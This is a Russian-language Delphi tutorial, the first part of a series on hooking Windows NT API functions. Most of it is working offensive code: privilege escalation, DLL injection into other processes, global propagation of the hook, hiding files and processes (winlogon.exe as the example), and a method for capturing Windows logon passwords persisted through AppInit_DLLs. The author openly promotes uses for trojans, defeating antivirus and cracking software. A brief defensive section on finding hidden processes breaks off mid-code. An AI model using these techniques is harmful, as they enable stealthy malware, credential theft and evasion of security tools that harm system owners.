Техническая поддержка :

Современные решения

для защиты Windows программ

и восстановления исходного кода
Автор: Ms-Rem. Дата публикации: 16.05.2005

Перехват API функций в Windows NT (часть 1). Основы перехвата.

Предисловие:

В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.

Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).

Основной язык для приводимых фрагментов кода - Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.


Теория:

Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API - базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты "readable" и "initialized data") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).

Изменение таблиц импорта:

Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.
К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из - за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.

Сплайсинг функции:

Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.

Внедрение кода и создание удаленных потоков:

Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.
Процедура активации SeDebugPrivilege:

CODE NOW!
function EnableDebugPrivilege():Boolean;
var
hToken: dword;
SeDebugNameValue: Int64;
tkp: TOKEN_PRIVILEGES;
ReturnLength: dword;
begin
Result:=false;
//Добавляем привилегию SeDebugPrivilege
//Получаем токен нашего процесса
OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken);
//Получаем LUID привилегии
if not LookupPrivilegeValue(nil, ’SeDebugPrivilege’, SeDebugNameValue) then
begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
//Добавляем привилегию к процессу
AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
tkp, ReturnLength);
if GetLastError() <> ERROR_SUCCESS then exit;
Result:=true;
end;



Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.

CODE NOW!
{ Внедрение Dll в процесс }
Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
Memory:pointer;
Code: dword;
BytesWritten: dword;
ThreadId: dword;
hThread: dword;
hKernel32: dword;
Inject: packed record
PushCommand:byte;
PushArgument:DWORD;
CallCommand:WORD;
CallAddr:DWORD;
PushExitThread:byte;
ExitThreadArg:dword;
CallExitThread:word;
CallExitThreadAddr:DWord;
AddrLoadLibrary:pointer;
AddrExitThread:pointer;
LibraryName:array[0..MAX_PATH] of char;
end;
begin
Result := false;
Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then Exit;

Code := dword(Memory);
//инициализация внедряемого кода:
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
hKernel32 := GetModuleHandle(’kernel32.dll’);
inject.AddrLoadLibrary := GetProcAddress(hKernel32, ’LoadLibraryA’);
inject.AddrExitThread := GetProcAddress(hKernel32, ’ExitThread’);
lstrcpy(@inject.LibraryName, ModulePath);
//записать машинный код по зарезервированному адресу
WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
//выполнить машинный код
hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
if hThread = 0 then Exit;
CloseHandle(hThread);
Result := True;
end;



Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.

После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.

Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:


CODE NOW!
library ApiHk;
uses
TLHelp32, windows;
type
fr_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;

OldCode = packed record
One: dword;
two: word;
end;

var
AdrCreateProcessA: pointer;
OldCrp: OldCode;
JmpCrProcA: far_jmp;

Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
stdcall; external ’kernel32.dll’;

Procedure StopThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h <> INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
SuspendThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;

Procedure RunThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h <> INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
ResumeThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;

function TrueCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
begin
//снятие перехвата
WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
//вызов функции
result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
lpProcessInformation);
//установка перехвата
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

function NewCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
//наш обработчик CreateProcessA
end;

Procedure SetHook;
var
HKernel32, HUser32: dword;
begin
CurrProc := GetCurrentProcess;
//получение адреса CreateProcessA
AdrCreateProcessA := GetProcAddress(GetModuleHandle(’kernel32.dll’), ’CreateProcessA’);
//инициализация структуры перехвата CreateProcessA
JmpCrProcA.PuhsOp := $68;
JmpCrProcA.PushArg := @NewCreateProcessA;
JmpCrProcA.RetOp := $C3;
//сохраняем старое начало функции
ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
//записываем новое начало CreateProcessA
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

begin
//останавливаем побочные нити
StopThreads;
//устанавливаем перехват
SetHook;
//запускаем нити
RunThreads;
end.



Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:

CODE NOW!
Handle := GetModuleHandleA(’Library.dll’);
IF Handle = 0 then Handle := LoadLibrary(’Library.dll’);



В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.


Глобализация:

Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.



CODE NOW!
Function ZwCreateThread(ThreadHandle: pdword;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: pointer;
ProcessHandle: THandle;
ClientId: PClientID;
ThreadContext: pointer;
UserStack: pointer;
CreateSuspended: boolean):NTStatus;
stdcall;external ’ntdll.dll’;

Нас интересует структура ClientId:

type
PClientID = ^TClientID;
TClientID = packed record
UniqueProcess:cardinal;
UniqueThread:cardinal;
end;



Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.

Наиболее очевидным будет следующий метод:

Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.

Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.

Обработчик ZwCreateThread будет выглядеть так:

CODE NOW!
Function NewZwCreateThread(ThreadHandle: PHANDLE;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: pointer;
ProcessHandle: THandle;
ClientId: PClientID;
ThreadContext: pointer;
UserStack: pointer;
CreateSuspended: boolean); stdcall;
begin
//снятие перехвата


WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen);
//вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата
Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
ClientId, ThreadContext, UserStack, true);

//проверяем, принадлежит ли нить к текущему процессу
if CurrProcId <> ClientId.UniqueProcess then
//устанавливаем флаг создания нового процесса
NewProcess := true;
//если надо, то запускаем нить
if not CreateSuspended then ResumeThread(ThreadHandle^);
//установка перехвата
WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen);
end;



После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.

CODE NOW!
Function ZwResumeThread(ThreadHandle: dword;
PreviousSuspendCount: pdword): NTStatus;
stdcall; external ’ntdll.dll’;



Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.

CODE NOW!
Function ZwQueryInformationThread(ThreadHandle: dword;
ThreadInformationClass: dword;
ThreadInformation: pointer;
ThreadInformationLength: dword;
ReturnLength: pdword):NTStatus;
stdcall;external ’ntdll.dll’;



ThreadInformationClass - тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;

ThreadInformation - указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:

CODE NOW!
PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION;
THREAD_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
TebBaseAddress: pointer;
ClientId: TClientID;
AffinityMask: DWORD;
Priority: dword;
BasePriority: dword;
end;



ClientId.UniqueProcess будет содержать id процесса владеющего нитью.

Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.

Обработчик функции ZwResumeThread будет выглядеть примерно так:

CODE NOW!
function NewZwResumeThread(ThreadHandle: THandle;
PreviousSuspendCount: pdword); stdcall;
var
ThreadInfo: THREAD_BASIC_INFORMATION;
Handle: DWORD;
begin
//снимаем перехват
WriteProcessMemory(CurrProc, AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen);
//получаю информацию о процессе владеющем этой нитью
ZwQueryInformationThread(ThreadHandle, THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil);
if (ThreadInfo.ClientId.UniqueProcess <> CurrProcId) and NewProcess then
begin //заражаем новый процесс


Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,
FALSE, ThreadInfo.ClientId.UniqueProcess);
InjectDll(Handle);
CloseHandle(Handle);
NewProcess := false;
end;
//вызываем оригинальную функцию
Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount);
//устанавливаем перехват
WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen);
end;



Таким образом решается проблема глобализации обработчика.


CODE NOW!
Практическое применение:



Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.

Рассмотрим прототип этой функции:


CODE NOW!
Function ZwQueryDirectoryFile(FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus;
stdcall; external ’ntdll.dll’;



Для нас важны параметры FileHandle, FileInformation и FileInformationClass.
FileHandle - хэндл объекта директории, который может быть получен с использованием функции ZwOpenFile.
FileInformation - указатель на выделенную память, куда функция запишет необходимые данные.
FileInformationClass определяет тип записей в FileInformation.
FileInformationClass перечислимого типа, но нам необходимы только четыре его значения, используемые для просмотра содержимого директории.

CODE NOW!
const
FileDirectoryInformation = 1;
FileFullDirectoryInformation = 2;
FileBothDirectoryInformation = 3;
FileNamesInformation = 12;



Структура записи в FileInformation для FileDirectoryInformation:

CODE NOW!
type
FILE_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;




для FileFullDirectoryInformation:

CODE NOW!
type
FILE_FULL_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
FileName: PWideChar;
end;




для FileBothDirectoryInformation:

CODE NOW!
type
FILE_BOTH_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
AlternateNameLength: ULONG;
AlternateName[0..11]: array of WideChar;
FileName: PWideChar;
end;




и для FileNamesInformation:

CODE NOW!
type
FILE_NAMES_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;



Функция записывает набор этих структур в буфер FileInformation.
Во всех этих типах структур для нас важны только три переменных:
NextEntryOffset - размер данного элемента списка.
Первый элемент расположен по адресу FileInformation + 0, а второй элемент по адресу FileInformation + NextEntryOffset первого элемента. У последнего элемента поле NextEntryOffset содержит нуль.
FileName - это полное имя файла.
FileNameLength - это длина имени файла

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись, нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись, мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись, иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown предыдущей записи, которое предоставляет индекс для последующего поиска. Значение поля Unknown предыдущей записи должно равняться значению поля Unknown записи, которую мы хотим скрыть.
Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку STATUS_NO_SUCH_FILE.

CODE NOW!
const
STATUS_NO_SUCH_FILE = $C000000F;



Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.

Рассмотрим прототип этой функции:

CODE NOW!
Function ZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength:PCardinal): NTStatus;
stdcall;external ’ntdll.dll’;



SystemInformationClass указывает тип информации, которую мы хотим получить, SystemInformation - это указатель на результирующий буфер, SystemInformationLength - размер этого буфера и ReturnLength - количество записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

CODE NOW!
const // SYSTEM_INFORMATION_CLASS
SystemBasicInformation =0;
SystemProcessorInformation =1;
SystemPerformanceInformation =2;
SystemTimeOfDayInformation =3;
SystemNotImplemented1 =4;
SystemProcessesAndThreadsInformation=5;
SystemCallCounts =6;
SystemConfigurationInformation =7;
SystemProcessorTimes =8;
SystemGlobalFlag =9;
SystemNotImplemented2 =10;
SystemModuleInformation =11;
SystemLockInformation =12;
SystemNotImplemented3 =13;
SystemNotImplemented4 =14;
SystemNotImplemented5 =15;
SystemHandleInformation =16;
SystemObjectInformation =17;
SystemPagefileInformation =18;
SystemInstructionEmulationCounts =19;
SystemInvalidInfoClass =20;
SystemCacheInformation =21;
SystemPoolTagInformation =22;
SystemProcessorStatistics =23;
SystemDpcInformation =24;
SystemNotImplemented6 =25;
SystemLoadImage =26;
SystemUnloadImage =27;
SystemTimeAdjustment =28;
SystemNotImplemented7 =29;
SystemNotImplemented8 =30;
SystemNotImplemented9 =31;
SystemCrashDumpInformation =32;
SystemExceptionInformation =33;
SystemCrashDumpStateInformation =34;
SystemKernelDebuggerInformation =35;
SystemContextSwitchInformation =36;
SystemRegistryQuotaInformation =37;
SystemLoadAndCallImage =38;
SystemPrioritySeparation =39;
SystemNotImplemented10 =40;
SystemNotImplemented11 =41;
SystemInvalidInfoClass2 =42;
SystemInvalidInfoClass3 =43;
SystemTimeZoneInformation =44;
SystemLookasideInformation =45;
SystemSetTimeSlipEvent =46;
SystemCreateSession =47;
SystemDeleteSession =48;
SystemInvalidInfoClass4 =49;
SystemRangeStartInformation =50;
SystemVerifierInformation =51;
SystemAddVerifier =52;
SystemSessionProcessesInformation =53;



Для перечисления запущенных процессов мы устанавливаем в параметр SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:

CODE NOW!
PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES
SYSTEM_PROCESSES = packed record
NextEntryDelta,
ThreadCount: dword;
Reserved1 : array [0..5] of dword;
CreateTime,
UserTime,
KernelTime: LARGE_INTEGER;
ProcessName: TUnicodeString;
BasePriority: dword;
ProcessId,
InheritedFromProcessId,
HandleCount: dword;
Reserved2: array [0..1] of dword;
VmCounters: VM_COUNTERS;
IoCounters: IO_COUNTERS; // Windows 2000 only
Threads: array [0..0] of SYSTEM_THREADS;
end;



Скрытие процессов похоже на скрытие файлов. Мы должны изменить NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно не требуется скрывать первую запись, т.к. это процесс Idle.
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:

CODE NOW!
Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);

if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, ’winlogon.exe’) = 0 then
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
end;
end;
end;



В общем, мы кратко рассмотрели способ скрытия файлов и процессов.

В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:

CODE NOW!
WlxLoggedOutSAS: Function(pWlxContext: pointer;
dwSasType: dword;
pAuthenticationId: pointer;
pLogonSid: pointer;
pdwOptions,
phToken: PDWORD;
pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
pProfile:pointer): dword; stdcall;



Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.

CODE NOW!
PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
WLX_MPR_NOTIFY_INFO = packed record
pszUserName: PWideChar;
pszDomain: PWideChar;
pszPassword: PWideChar;
pszOldPassword: PWideChar;
end;



Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW - эти функции используются для запуска процессов от имени другого пользователя.

CODE NOW!
function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
dwLogonType, dwLogonProvider: DWORD;
var phToken: THandle): BOOL; stdcall; external ’advapi32.dll’;

function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
dwLogonType, dwLogonProvider: DWORD;
var phToken: THandle): BOOL; stdcall; external ’advapi32.dll’;

Function CreateProcessWithLogonW(const lpUsername: PWideChar;
const lpDomain: PWideChar;
const lpPassword: PWideChar;
dwLogonFlags: DWORD;
const lpApplicationName: PWideChar;
lpCommandLine: PWideChar;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
const lpCurrentDirectory: PWideChar;
lpStartupInfo: PStartupInfo;
lpProcessInfo: PProcessInformation): Boolean;
stdcall; external ’advapi32.dll’;



Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы FuckLogon, которая перехватывает пароли данным методом.


Защита:

Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:

CODE NOW!
Procedure GetProcessList(var NameList, HandleList: TList);
asm
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx,eax
push $05
call @GetInfoTable
jmp @InfoTableEnd
@GetInfoTable:
push ebp
mov ebp, esp
sub esp, $04h
push esi
push 0
pop dword ptr [ebp - $04]
mov esi, $4000
@GetInfoTable_doublespace:
shl esi, $01
push esi
push 0
call LocalAlloc
test eax, eax
jz @GetInfoTable_failed
mov [ebp-$04], eax
push 0
push esi
push eax
push dword ptr [ebp + $08]
call @OpenKernelData
jmp @Cont
@OpenKernelData:
mov eax, $AD
call @SystemCall
ret $10
@SystemCall:
mov edx, esp
sysenter
@Cont:
test eax, $C0000000
jz @GetInfoTable_end
cmp eax, $C0000004
jnz @GetInfoTable_failed
push dword ptr [ebp - $04]
call LocalFree
